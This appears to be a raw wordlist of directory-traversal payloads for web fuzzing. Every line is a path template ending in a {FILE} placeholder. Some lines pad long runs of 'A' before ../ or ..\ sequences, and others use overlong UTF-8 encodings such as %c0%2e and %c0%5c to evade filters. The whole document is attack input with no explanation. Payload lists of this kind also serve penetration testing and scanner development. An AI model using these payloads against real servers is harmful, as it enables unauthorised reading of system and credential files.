AAA/../{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\..\..\{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\..\{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../../{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\..\..\{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\..\{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\{FILE} +/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\{FILE} +/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE} +/%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE} +/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE} +/%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE} +/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE} +/%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE} +/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE} +/%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE} +/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE} +/%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE} +/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE} +/%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE} +/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE} +/%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE} +/%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE} +/%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE} +/%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE} +/%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE} +/%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE} +/%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE} +/%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE} +/%c0%2e%c0%2e%c0%2f{FILE} +/%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE} +/%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE} +/%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE} +/%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE} 